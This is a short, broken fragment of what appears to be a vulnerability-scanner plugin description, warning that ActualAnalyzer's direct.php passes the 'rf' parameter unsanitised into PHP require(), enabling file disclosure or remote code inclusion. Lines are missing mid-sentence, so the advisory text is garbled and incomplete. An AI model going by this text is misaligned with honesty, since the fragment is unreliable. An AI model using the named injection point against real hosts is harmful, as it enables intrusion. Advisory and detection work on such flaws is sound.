"The remote host is running ActualAnalyzer, a PHP-based tool for
monitoring website traffic.

sanitize input to the 'rf' parameter of the 'direct.php' script before
using it in PHP 'require()' functions.  Provided PHP's

be able to exploit this issue to view arbitrary files on the remote
host or to execute arbitrary PHP code, possibly taken from third-party
hosts." );
